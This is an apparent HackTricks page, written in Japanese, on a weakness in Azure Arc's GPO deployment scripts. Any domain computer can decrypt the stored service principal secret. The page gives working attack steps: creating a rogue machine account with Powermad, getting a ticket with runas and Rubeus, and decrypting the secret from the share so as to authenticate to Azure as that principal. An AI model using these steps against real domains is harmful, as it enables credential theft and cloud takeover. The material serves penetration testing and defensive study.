Az - Arc vulnerable GPO Deploy Script

Support HackTricks

Identifying the Issues

Azure Arcは、グループポリシーオブジェクトメソッドを使用して新しい内部サーバー(ドメイン参加サーバー)をAzure Arcに統合することを可能にします。これを促進するために、Microsoftはオンボーディング手順を開始するために必要なデプロイメントツールキットを提供しています。ArcEnableServerGroupPolicy.zipファイル内には、次のスクリプトが含まれています:DeployGPO.ps1、EnableAzureArc.ps1、およびAzureArcDeployment.psm1。

DeployGPO.ps1スクリプトが実行されると、次のアクションが実行されます:

  1. ローカルドメイン内にAzure ArcサーバーオンボーディングGPOを作成します。

  2. オンボーディングプロセスのために作成された指定されたネットワーク共有にEnableAzureArc.ps1オンボーディングスクリプトをコピーします。この共有にはWindowsインストーラーパッケージも含まれています。

このスクリプトを実行する際、システム管理者は2つの主要なパラメータを提供する必要があります:ServicePrincipalIdServicePrincipalClientSecret。さらに、ドメイン、共有をホストするサーバーのFQDN、および共有名などの他のパラメータも必要です。テナントID、リソースグループ、およびスクリプトに提供する必要のあるその他の情報などの詳細も必要です。

暗号化されたシークレットは、指定された共有のAzureArcDeployディレクトリ内にDPAPI-NG暗号化を使用して生成されます。暗号化されたシークレットは、encryptedServicePrincipalSecretという名前のファイルに保存されます。これに関する証拠は、DeployGPO.ps1スクリプト内に見られ、暗号化は$descriptorと$ServicePrincipalSecretを入力としてProtectBase64を呼び出すことによって行われます。ディスクリプタは、ドメインコンピュータおよびドメインコントローラグループのSIDで構成されており、ServicePrincipalSecretはドメインコントローラおよびドメインコンピュータのセキュリティグループによってのみ復号化できることが、スクリプトのコメントに記載されています。

# Encrypting the ServicePrincipalSecret to be decrypted only by the Domain Controllers and the Domain Computers security groups
$DomainComputersSID = "SID=" + $DomainComputersSID
$DomainControllersSID = "SID=" + $DomainControllersSID
$descriptor = @($DomainComputersSID, $DomainControllersSID) -join " OR "
Import-Module $PSScriptRoot\AzureArcDeployment.psm1
$encryptedSecret = [DpapiNgUtil]::ProtectBase64($descriptor, $ServicePrincipalSecret)

Exploit

次の条件があります:

  1. 内部ネットワークに成功裏に侵入しました。

  2. Active Directory内でコンピュータアカウントを作成または制御する能力があります。

  3. AzureArcDeployディレクトリを含むネットワーク共有を発見しました。

AD環境内でマシンアカウントを取得する方法はいくつかあります。最も一般的な方法の1つは、マシンアカウントのクォータを悪用することです。別の方法は、脆弱なACLやさまざまな他の誤設定を通じてマシンアカウントを侵害することです。

Import-MKodule powermad
New-MachineAccount -MachineAccount fake01 -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose

マシンアカウントが取得されると、このアカウントを使用して認証することが可能です。runas.exeコマンドをnetonlyフラグと共に使用するか、Rubeus.exeを使用してパス・ザ・チケットを利用することができます。

runas /user:fake01$ /netonly powershell
.\Rubeus.exe asktgt /user:fake01$ /password:123456 /prr

メモリにコンピュータアカウントのTGTを保存することで、次のスクリプトを使用してサービスプリンシパルの秘密を復号化できます。

Import-Module .\AzureArcDeployment.psm1

$encryptedSecret = Get-Content "[shared folder path]\AzureArcDeploy\encryptedServicePrincipalSecret"

$ebs = [DpapiNgUtil]::UnprotectBase64($encryptedSecret)
$ebs

代わりに、SecretManagement.DpapiNGを使用できます。

この時点で、暗号化されたServicePrincipalSecretファイルと同じネットワーク共有に保存されているArcInfo.jsonファイルから、Azureに接続するために必要な残りの情報を収集できます。このファイルには、TenantId、servicePrincipalClientId、ResourceGroupなどの詳細が含まれています。この情報を使用して、Azure CLIを使用して侵害されたサービスプリンシパルとして認証できます。

参考文献

HackTricksをサポートする

Last updated